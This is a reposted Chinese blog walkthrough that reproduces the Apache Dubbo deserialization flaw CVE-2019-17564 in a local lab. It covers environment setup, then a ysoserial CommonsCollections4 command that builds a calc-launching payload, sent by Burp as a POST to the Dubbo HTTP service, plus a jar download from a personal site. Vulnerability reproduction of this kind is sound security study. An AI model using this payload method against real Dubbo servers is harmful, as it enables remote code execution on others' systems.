Apache Dubbo反序列化漏洞(CVE-2019-17564)


信息

影響版本:Dubbo < 2.7.5

條件:

時間:

復現環境:
win10 + jdk1.8 + idea 2019.2.4(用來搭建dubbo) + zookeeper 3.4.10

復現版本:Dubbo 2.7.3

版本探測:

漏洞環境的搭建

1. idea的下載安裝
下載並且安裝idea,我的是收費版的(網上有破解教程),如果只是為了快速復現漏洞,那么試用30天后直接看下一步好了。


2. zookeeper的下載及啟動
①dubbo需要配合zookeeper使用,下載zookeeper,地址:
https://archive.apache.org/dist/zookeeper/zookeeper-3.4.10/zookeeper-3.4.10.tar.gz

②在解壓后的文件夾zookeeper-3.4.10里面創建 data和logs目錄

②修改 conf目錄下的zoo_sample.cfg為zoo.cfg
並且修改zoo.cfg,如下添加

Snipaste_2020-03-07_21-55-43.jpg

③ 雙擊bin目錄下的 zkServer.cmd,啟動,zookeeper會監聽2181端口

Snipaste_2020-03-07_2Snipaste_2020-03-07_21-59-12.jpg1-59-12.jpg

3. dubbo的啟動

①下載github里dubbo的demo
https://github.com/apache/dubbo-samples/tree/master/java/dubbo-samples-http

②修改dubbo-samples-http里面的pom.xml

首先版本改為2.7.3

其次添加依賴

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

Snipaste_2020-03-07_22-04-44.jpg


②用idea導入,"File"->"New"->"Project from existing resources" ->選擇目錄"dubbo-samples-http"里面的pom.xml

③這個時候如果直接下載的話會很慢很慢,嘗試更換源(建議必換)

右鍵導入的項目名,點擊"Maven"。點擊"Create setting.xml",用下面內容直接全部替換掉

加速源

<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/SETTINGS/1.0.0"
          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
          xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 http://maven.apache.org/xsd/settings-1.0.0.xsd">
    <mirrors>
        <!-- mirror
         | Specifies a repository mirror site to use instead of a given repository. The repository that
         | this mirror serves has an ID that matches the mirrorOf element of this mirror. IDs are used
         | for inheritance and direct lookup purposes, and must be unique across the set of mirrors.
         |
        <mirror>
          <id>mirrorId</id>
          <mirrorOf>repositoryId</mirrorOf>
          <name>Human Readable Name for this Mirror.</name>
          <url>http://my.repository.com/repo/path</url>
        </mirror>
         -->

        <mirror>
            <id>alimaven</id>
            <name>aliyun maven</name>
            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>
            <mirrorOf>central</mirrorOf>
        </mirror>

        <mirror>
            <id>uk</id>
            <mirrorOf>central</mirrorOf>
            <name>Human Readable Name for this Mirror.</name>
            <url>http://uk.maven.org/maven2/</url>
        </mirror>

        <mirror>
            <id>CN</id>
            <name>OSChina Central</name>
            <url>http://maven.oschina.net/content/groups/public/</url>
            <mirrorOf>central</mirrorOf>
        </mirror>

        <mirror>
            <id>nexus</id>
            <name>internal nexus repository</name>
            <!-- <url>http://192.168.1.100:8081/nexus/content/groups/public/</url>-->
            <url>http://repo.maven.apache.org/maven2</url>
            <mirrorOf>central</mirrorOf>
        </mirror>

    </mirrors>
</settings>

Snipaste_2020-03-07_22-07-01.jpg

③ 重啟idea,點擊項目中的pom.xml,"Maven"->"Reimport"就可以下載依賴,很快很快就會被下載完成
4.坑點
當看到"dubbo service started"就說明成功了。

Snipaste_2020-03-07_22-12-47.jpg

如果你的ip也正確的話,那么下面一段話就不用看了,直接看攻擊步驟就好了。
仔細觀察他給你的url中的ip。一開始我的ip是我一個虛擬網卡的ip,我不能訪問。
搜索之后,要修改dubbo的配置文件來綁定自己的ip,這里貼出我的配置,配置文件dubbo-samples-http\src\main\resources\spring\http-provider.xml

Snipaste_2020-03-07_22-15-48.jpg

攻擊

1.下載jar包
https://xiaokou.top/usr/uploads/file/ysoserial-master-30099844c6-1.jar

2.生成payload
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections4 "calc" > calc.ser

3.burp發包
訪問192.168.1.104:8080/org.apache.dubbo.samples.http.api.DemoService,burp截包

修改訪問類型為POST,post的數據就是calc.ser的內容,這里不要打開calc.ser直接復制,用burp的"Paste from file"

Snipaste_2020-03-07_22-22-04.jpg

成功彈出計算器

Snipaste_2020-03-07_21-28-33.jpg

注意的地方

1.maven下載的時候一定要配置國內的源啊,不然要花費很長時間才能下載完依賴,而且真的不一定能下載完

2.配置完環境后,其實我們是沒法訪問8080端口看到東西的,因為只是一個provider端,並沒有提供dubbo的全部功能。

3.發包的時候,不要直接打開calc.ser直接復制

4.dubbo啟動后要看看自己的ip地址對不對


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM